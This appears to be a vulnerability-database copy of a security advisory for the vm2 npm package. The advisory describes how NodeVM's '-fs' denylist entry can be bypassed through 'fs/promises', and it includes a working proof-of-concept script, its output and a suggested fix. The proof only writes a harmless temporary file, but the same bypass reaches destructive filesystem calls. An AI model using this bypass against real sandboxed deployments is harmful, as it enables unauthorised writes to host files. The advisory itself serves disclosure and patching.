GHSA-6RH5-QQ4Q-97XH
Vulnerability from github – Published: 2026-10-01 15:36 – Updated: 2026-10-01 15:36Summary
NodeVM's builtin wildcard policy can allow sandboxed code to access fs/promises even when the embedder denies fs.
With the following configuration:
require: {
builtin: ['*', '-fs', '-child_process']
}
require('fs') and require('child_process') are blocked, but require('fs/promises') and require('node:fs/promises') are still available. This allows sandboxed code to create and write files on the host filesystem through the promise-based filesystem API.
Affected Mode
NodeVM.
Affected Configuration
new NodeVM({
require: {
builtin: ['*', '-fs', '-child_process']
}
});
This affects configurations where users rely on negative builtin entries such as -fs to deny filesystem access while using the '*' builtin wildcard.
Affected Files / Functions
lib/builtin.jsDANGEROUS_BUILTINSBUILTIN_MODULESmakeBuiltinsFromLegacyOptionsaddDefaultBuiltinlib/resolver.jsResolver.resolveResolver.loadBuiltinModulelib/setup-node-sandbox.jsrequireImpl
Root Cause
lib/builtin.js builds BUILTIN_MODULES from Node's builtin module list and filters dangerous/default-denied modules. In wildcard mode, negative entries are checked by exact name:
if (builtins.indexOf(`-${name}`) === -1) {
addDefaultBuiltin(res, name, hostRequire);
}
This means -fs removes only the exact builtin named fs. It does not remove builtin subpaths such as fs/promises.
There is also inconsistent node: prefix handling. require('node:fs/promises') resolves through the same builtin capability, but a negative entry such as -node:fs/promises does not block require('fs/promises').
Security Boundary Crossed
Sandboxed code can perform host filesystem writes even though the embedder denied fs.
Impact
Confirmed impact:
- Host file creation
- Host file write
The proof uses fs/promises.writeFile() to create a harmless temporary file containing a marker string.
Additional reachable APIs on fs/promises include filesystem operations such as cp, mkdir, rename, rm, rmdir, truncate, and others. These were not used destructively in the proof.
Safe Local Reproduction
Tested on Node.js v24.14.0.
This proof does not execute OS commands and does not use destructive filesystem operations. It creates a temporary proof file, verifies the marker, then removes the file.
'use strict';
const fs = require('fs');
const os = require('os');
const path = require('path');
const { NodeVM } = require('./');
const proofPath = path.join(os.tmpdir(), `vm2-fs-promises-proof-${process.pid}.txt`);
const marker = `vm2-fs-promises-marker-${process.pid}`;
try {
fs.unlinkSync(proofPath);
} catch (_) {}
(async () => {
const vm = new NodeVM({
require: {
builtin: ['*', '-fs', '-child_process']
}
});
const result = await vm.run(`
module.exports = (async () => {
const r = {};
try {
require('fs');
r.fsLoaded = true;
} catch (e) {
r.fsBlocked = true;
r.fsError = e && e.code;
}
try {
require('child_process');
r.childProcessLoaded = true;
} catch (e) {
r.childProcessBlocked = true;
r.childProcessError = e && e.code;
}
const fsp = require('fs/promises');
r.fsPromisesLoaded = true;
r.fsPromisesKeys = Object.keys(fsp).slice(0, 12).sort();
await fsp.writeFile(${JSON.stringify(proofPath)}, ${JSON.stringify(marker)}, 'utf8');
r.wrote = true;
return r;
})();
`);
const exists = fs.existsSync(proofPath);
const content = exists ? fs.readFileSync(proofPath, 'utf8') : null;
console.log(JSON.stringify({
result,
hostFileExists: exists,
hostFileContent: content
}, null, 2));
try {
fs.unlinkSync(proofPath);
} catch (_) {}
})().catch(error => {
try {
fs.unlinkSync(proofPath);
} catch (_) {}
console.error(error);
process.exitCode = 1;
});
Observed result:
{
"result": {
"fsBlocked": true,
"fsError": "ENOTFOUND",
"childProcessBlocked": true,
"childProcessError": "ENOTFOUND",
"fsPromisesLoaded": true,
"wrote": true
},
"hostFileExists": true,
"hostFileContent": "vm2-fs-promises-marker-<pid>"
}
Additional local checks:
require('node:fs/promises')also loads and can write the proof file.- Adding
-fs/promisesblocksrequire('fs/promises'). - Adding only
-node:fs/promisesdoes not blockrequire('fs/promises').
Expected Secure Behavior
If an embedder denies fs, NodeVM should deny the whole filesystem builtin family, including:
fsfs/promisesnode:fsnode:fs/promises
Negative entries with and without node: should be normalized consistently.
Suggested Fix
- Normalize builtin names before allow/deny checks:
- Strip
node:for comparison. -
Use one canonical key form internally.
-
Treat negative builtin entries as family denials where appropriate:
-fsshould blockfs/promises.-
-inspectoralready conceptually blocksinspector/promises; apply the same family logic to user-provided negative entries. -
Add regression tests for:
builtin: ['*', '-fs']blocksfs/promises.builtin: ['*', '-fs']blocksnode:fs/promises.-node:fs/promisesand-fs/promisesbehave equivalently.- Explicit allowlist behavior is documented and covered.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.11.6"
},
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.11.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-92958"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-01T15:36:48Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nNodeVM\u0027s builtin wildcard policy can allow sandboxed code to access `fs/promises` even when the embedder denies `fs`.\n\nWith the following configuration:\n\n```js\nrequire: {\n builtin: [\u0027*\u0027, \u0027-fs\u0027, \u0027-child_process\u0027]\n}\n```\n\n`require(\u0027fs\u0027)` and `require(\u0027child_process\u0027)` are blocked, but `require(\u0027fs/promises\u0027)` and `require(\u0027node:fs/promises\u0027)` are still available. This allows sandboxed code to create and write files on the host filesystem through the promise-based filesystem API.\n\n## Affected Mode\n\nNodeVM.\n\n## Affected Configuration\n\n```js\nnew NodeVM({\n require: {\n builtin: [\u0027*\u0027, \u0027-fs\u0027, \u0027-child_process\u0027]\n }\n});\n```\n\nThis affects configurations where users rely on negative builtin entries such as `-fs` to deny filesystem access while using the `\u0027*\u0027` builtin wildcard.\n\n## Affected Files / Functions\n\n- `lib/builtin.js`\n - `DANGEROUS_BUILTINS`\n - `BUILTIN_MODULES`\n - `makeBuiltinsFromLegacyOptions`\n - `addDefaultBuiltin`\n- `lib/resolver.js`\n - `Resolver.resolve`\n - `Resolver.loadBuiltinModule`\n- `lib/setup-node-sandbox.js`\n - `requireImpl`\n\n## Root Cause\n\n`lib/builtin.js` builds `BUILTIN_MODULES` from Node\u0027s builtin module list and filters dangerous/default-denied modules. In wildcard mode, negative entries are checked by exact name:\n\n```js\nif (builtins.indexOf(`-${name}`) === -1) {\n addDefaultBuiltin(res, name, hostRequire);\n}\n```\n\nThis means `-fs` removes only the exact builtin named `fs`. It does not remove builtin subpaths such as `fs/promises`.\n\nThere is also inconsistent `node:` prefix handling. `require(\u0027node:fs/promises\u0027)` resolves through the same builtin capability, but a negative entry such as `-node:fs/promises` does not block `require(\u0027fs/promises\u0027)`.\n\n## Security Boundary Crossed\n\nSandboxed code can perform host filesystem writes even though the embedder denied `fs`.\n\n## Impact\n\nConfirmed impact:\n\n- Host file creation\n- Host file write\n\nThe proof uses `fs/promises.writeFile()` to create a harmless temporary file containing a marker string.\n\nAdditional reachable APIs on `fs/promises` include filesystem operations such as `cp`, `mkdir`, `rename`, `rm`, `rmdir`, `truncate`, and others. These were not used destructively in the proof.\n\n## Safe Local Reproduction\n\nTested on Node.js `v24.14.0`.\n\nThis proof does not execute OS commands and does not use destructive filesystem operations. It creates a temporary proof file, verifies the marker, then removes the file.\n\n```js\n\u0027use strict\u0027;\n\nconst fs = require(\u0027fs\u0027);\nconst os = require(\u0027os\u0027);\nconst path = require(\u0027path\u0027);\nconst { NodeVM } = require(\u0027./\u0027);\n\nconst proofPath = path.join(os.tmpdir(), `vm2-fs-promises-proof-${process.pid}.txt`);\nconst marker = `vm2-fs-promises-marker-${process.pid}`;\n\ntry {\n fs.unlinkSync(proofPath);\n} catch (_) {}\n\n(async () =\u003e {\n const vm = new NodeVM({\n require: {\n builtin: [\u0027*\u0027, \u0027-fs\u0027, \u0027-child_process\u0027]\n }\n });\n\n const result = await vm.run(`\n module.exports = (async () =\u003e {\n const r = {};\n\n try {\n require(\u0027fs\u0027);\n r.fsLoaded = true;\n } catch (e) {\n r.fsBlocked = true;\n r.fsError = e \u0026\u0026 e.code;\n }\n\n try {\n require(\u0027child_process\u0027);\n r.childProcessLoaded = true;\n } catch (e) {\n r.childProcessBlocked = true;\n r.childProcessError = e \u0026\u0026 e.code;\n }\n\n const fsp = require(\u0027fs/promises\u0027);\n r.fsPromisesLoaded = true;\n r.fsPromisesKeys = Object.keys(fsp).slice(0, 12).sort();\n\n await fsp.writeFile(${JSON.stringify(proofPath)}, ${JSON.stringify(marker)}, \u0027utf8\u0027);\n r.wrote = true;\n\n return r;\n })();\n `);\n\n const exists = fs.existsSync(proofPath);\n const content = exists ? fs.readFileSync(proofPath, \u0027utf8\u0027) : null;\n\n console.log(JSON.stringify({\n result,\n hostFileExists: exists,\n hostFileContent: content\n }, null, 2));\n\n try {\n fs.unlinkSync(proofPath);\n } catch (_) {}\n})().catch(error =\u003e {\n try {\n fs.unlinkSync(proofPath);\n } catch (_) {}\n console.error(error);\n process.exitCode = 1;\n});\n```\n\nObserved result:\n\n```json\n{\n \"result\": {\n \"fsBlocked\": true,\n \"fsError\": \"ENOTFOUND\",\n \"childProcessBlocked\": true,\n \"childProcessError\": \"ENOTFOUND\",\n \"fsPromisesLoaded\": true,\n \"wrote\": true\n },\n \"hostFileExists\": true,\n \"hostFileContent\": \"vm2-fs-promises-marker-\u003cpid\u003e\"\n}\n```\n\nAdditional local checks:\n\n- `require(\u0027node:fs/promises\u0027)` also loads and can write the proof file.\n- Adding `-fs/promises` blocks `require(\u0027fs/promises\u0027)`.\n- Adding only `-node:fs/promises` does not block `require(\u0027fs/promises\u0027)`.\n\n## Expected Secure Behavior\n\nIf an embedder denies `fs`, NodeVM should deny the whole filesystem builtin family, including:\n\n- `fs`\n- `fs/promises`\n- `node:fs`\n- `node:fs/promises`\n\nNegative entries with and without `node:` should be normalized consistently.\n\n## Suggested Fix\n\n1. Normalize builtin names before allow/deny checks:\n - Strip `node:` for comparison.\n - Use one canonical key form internally.\n\n2. Treat negative builtin entries as family denials where appropriate:\n - `-fs` should block `fs/promises`.\n - `-inspector` already conceptually blocks `inspector/promises`; apply the same family logic to user-provided negative entries.\n\n3. Add regression tests for:\n - `builtin: [\u0027*\u0027, \u0027-fs\u0027]` blocks `fs/promises`.\n - `builtin: [\u0027*\u0027, \u0027-fs\u0027]` blocks `node:fs/promises`.\n - `-node:fs/promises` and `-fs/promises` behave equivalently.\n - Explicit allowlist behavior is documented and covered.",
"id": "GHSA-6rh5-qq4q-97xh",
"modified": "2026-10-01T15:36:49Z",
"published": "2026-10-01T15:36:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-6rh5-qq4q-97xh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92958"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/commit/59d35f68e52a9bd229a8a72bcd9274bd4cec2bc5"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.7"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/vm2-before-3.11.7-denylist-bypass-via-fs-promises"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.